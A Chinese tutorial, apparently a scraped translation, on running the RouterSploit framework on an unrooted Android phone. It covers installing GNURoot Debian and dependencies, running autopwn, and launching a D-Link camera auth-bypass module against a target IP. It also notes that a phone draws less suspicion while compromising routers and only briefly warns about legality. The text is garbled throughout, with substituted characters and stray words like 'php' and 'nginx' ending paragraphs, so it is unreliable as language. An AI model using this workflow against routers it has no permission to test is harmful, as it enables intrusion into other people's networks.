手机没Root?你照样能够渗透路由器

和Metasploit差很少,RouterSploit是一个强大的漏洞利用框架,用于快速识别和利用路由器中的普通漏洞,它还有个亮点,就是能够在绝大多数安卓设备上运行。php

若是你想在电脑上运行,能够阅读这篇文章,而这篇教程则会告诉你如何轻松地在未Root的安卓设备上安装RouterSploit,这样一来,只要你的智能手机能够链接这些有漏洞的路由器,你就能够渗透他们。html

RouterSploit vs 路由器

路由器是咱们联通世界的通道,它们管理着互联网通讯,加密咱们的流量,保护着咱们的隐私,还将咱们与内网的或者外网的其余设备链接起来。python

很大一部分人认为这种设备如此出色是理所固然的,还认为只要一接入并提供互联网,安装工做就完成了,却不知路由器自己就是个Linux系统的电脑,不少人在管理员帐户的控制面板上留下了默认密码,有些根本没有登录且安装更新过。android

若是感受像是在说你,那么你就应该去修改默认密码而后再看剩下的教程。nginx

由于路由器容易被忽略,因此就常常有一些常见的漏洞能够被正确地程序利用。RouterSploit利用大多数常见漏洞和默认设置,能让你用任何支持Python脚本的设备快速评估和利用路由器。git

安卓上的Debian Linux

为了能在安卓设备上运行,大多数工具须要root权限,而root权限并非那么容易获取的,并且也不是特别安全。为了在咱们的设备上运行RouterSploit,一个叫GNURootDebian的应用能代替咱们在安卓设备上安装Debian系统,而Kali就是基于Debian的。github

exploit-routers-unrooted-android-phone.w1456.jpg

在安卓设备上运行RouterSploitsql

Kali确保了咱们所需的大多数依赖都已经被安装,因此咱们须要在安卓版本的Debian上安装不少依赖来确保工具的正常运行。这种方法不须要root权限或者其余千奇百怪的许可,并且还可让咱们在安卓手机上运行Linux下的Python工具。shell

在安卓设备上使用攻击框架

安卓环境能够容许用不少无线攻击技术来指导你的攻击和评估,在一个设备中,有不少应用能帮你探测,链接,以及攻击任何开放的接入点,这里列举一些我使用的应用。安全

若是用于在一个地区内无线网的探测和认证,Wigle Wifi Wardriving能让你查看,记录,以及与周围的无线传输交互。

 

若是要扫描网络和认证信息,IP地址以及可用服务,Fing Network Scanner能够扫描你链接的任何网络的全部东西,而后返回每一个链接设备的细节信息。

一旦一个设备被你看成目标,RouterSploit的自动入侵扫描会显示当前目标上全部可用的入侵途径。

将未Root的安卓设备看成攻击平台

在安卓上使用强大的Linux框架,咱们就多了一种方法,以直观的角度入侵。并且在被发现有人正在作不正常的事情的状况下,使用一个安卓手机会比使用特制的硬件更加不被人怀疑。

常言道工欲善其事,必先利其器,黑客工具也不例外,GNURootDebian有为入侵行为快速搭建平台的能力,并且能让任何人不用特制的工具就能审计路由器安全,时间不长,你就能学会如何在伪装玩精灵宝可梦的时候取得路由器的控制权。

开始前必备

这个搭建方法的美妙之处在于你仅仅须要一台安卓设备,我用了三星Galaxy S8,由于处处拿着一个超大的曲面屏玻璃能提醒我人生是多么的脆弱,话说回来,你能够用任何支持GNURoot Debian的安卓设备。

第一步:安装GNURoot Debian

要开始,咱们须要安装GNURoot Debian,前面已经提到,他能让那给咱们在没有root的手机上上运行Debian Linux,在Google Play商店 ,搜索GNURoot Debian或者点击这里

exploit-routers-unrooted-android-phone.w1456 (1).jpg

很棒的山羊胡子

下载这个应用(大概60MB,网速可能会有点慢),一旦应用被安装,接下来就是你第一次运行的时候了,在第一次打开时,你会看见Debian环境正在搭建,不少文本在快速地滚动。

exploit-routers-unrooted-android-phone.w1456 (2).jpg

等待几分钟,安装完成后你会看见下图所示画面。

exploit-routers-unrooted-android-phone.w1456 (3).jpg

一旦Debian Linux安装完成,接下来就是安装依赖的步骤了。

第二步:安装依赖

安卓上的Debian Linux不像Kali那样预安装了任何特定依赖,因此咱们要从不少事情开始,尤为是Python,由于咱们须要它来运行咱们想要的模块。首先,咱们须要更新。

apt-get update

接下来执行如下命令:

apt-get install sudo sudo apt-get install git-core

这两个命令会安装sudo和git,在这以后你就能够从Github上得到源码了,除此以外还需下面的命令。

sudo apt-get install python-dev python-pip libncurses5-dev git

第三步:安装RouterSploit

一旦依赖被安装,就能够执行下面的命令

git clone https://github.com/reverse-shell/routersploit

exploit-routers-unrooted-android-phone.w1456 (4).jpg

第四步:第一次运行RouterSploit

安装完成后,你必定想运行,看看是否是真的有用,此时你须要返回Home目录,执行下面的命令:

cd routersploit

而后像这样运行Python脚本:

sudo python ./rsf.py

几秒钟的加载以后,就会成功运行了。(使用方法和metasploit差很少)

use(后接模块) set(后接变量) show options(显示模块选项) check(检查目标是否有漏洞能够利用) run(对目标运行模块)

你能够运行autopwn,执行下方命令:

use scanners/autopwn

顾名思义,这个命令会运行autopwn来扫描目标。

第五步:设置与开始

你的手机上若是安装了前文提到的Wigle Wifi Wardriving,那么就很容易发现周围的无线网络,利用Fing就能够扫描无线网络,在此再也不赘述。

一旦知道了目标的IP地址,你就能够把它放进autopwn里,输入下列命令查看选项

show options

这样一来咱们就能够设定目标的IP地址了,具体命令以下所示:

set target [目标IP地址]

exploit-routers-unrooted-android-phone.w1456 (5).jpg

再次输入“show options”能够检查当前设定,但你对设定满意时,输入下方命令便可开始

run

exploit-routers-unrooted-android-phone.w1456 (6).jpg

第六步:利用找到的漏洞

当autopwn找到漏洞时,利用就十分简单了。此时你只须要复制可用的模块路径,而后粘贴在use后,就能够开始利用了。举个例子:

use exploits/cameras/dlink/dcs_9301_9321_auth_bypass

而后像以前同样设定IP地址

set target [目标IP地址]

以后再次输入“run”便可。

(PS:理论上说其余的不少工具也能够运行。)

exploit-routers-unrooted-android-phone.w1456 (7).jpg

这些摆拍角度一度让我怀疑原做者在打手机广告

警告

即使路由器彻底没有设防,或者很容易入侵,你也要明白未经许可入侵路由器是非法的,要使用它,请确保你已经得到准许。另外,autopwn弄出的动静可能会有点大,可能会被某些安全防护措施检测到。

相关文章
相关标签/搜索